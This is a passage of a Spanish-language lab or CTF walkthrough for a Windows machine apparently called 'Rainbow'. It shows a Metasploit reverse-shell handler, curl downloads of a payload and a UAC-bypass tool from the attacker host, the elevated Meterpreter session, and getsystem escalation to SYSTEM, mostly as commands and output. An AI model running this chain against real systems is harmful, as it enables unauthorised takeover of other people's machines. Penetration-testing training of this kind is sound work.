❯ sudo msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp  
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lport 4444
lport => 4444
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.8.0.100:4444

Descargamos los archivos y ejecutamos el elevator pasandole como comando a ejecutar el shell.exe, lo ejecutamos y esto deberia ejecutarse bypasseando UAC

C:\ProgramData> curl 10.8.0.100/shell.exe -o shell.exe

C:\ProgramData> curl 10.8.0.100/elevator.exe -o elevator.exe

C:\ProgramData> elevator.exe "C:\ProgramData\shell.exe" --new-console  
[+] Unelevatad notepad.exe process created.
[+] Reference to debug object retrieved.
[+] Debug object successfully detached.
[+] Elevated taskmgr.exe process created.
[+] Initial process creation debug event obtained.
[+] Full access handle obtained.
[!] Elevated process spawned!

C:\ProgramData>

Cuando ejecuta el shell.exe bypasseando UAC recibimos una sesión nuevamente de rainbow pero ahora con privilegios totales sobre el sistema como administrador

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.8.0.100:4444
[*] Sending stage (201798 bytes) to 10.10.122.10
[*] Meterpreter session 1 opened (10.8.0.100:4444 -> 10.10.122.10:49867)  

(Meterpreter 1)(C:\ProgramData) > getuid
Server username: RAINBOW\rainbow
(Meterpreter 1)(C:\ProgramData) > getprivs

Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeDelegateSessionUserImpersonatePrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

(Meterpreter 1)(C:\ProgramData) >

Y aunque es totalmente innecesario en este punto, podemos usar getsystem para convertirnos en el usuario nt authority\system que tiene máximos privilegios

(Meterpreter 1)(C:\ProgramData) > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).  
(Meterpreter 1)(C:\ProgramData) > getuid
Server username: NT AUTHORITY\SYSTEM
(Meterpreter 1)(C:\ProgramData) >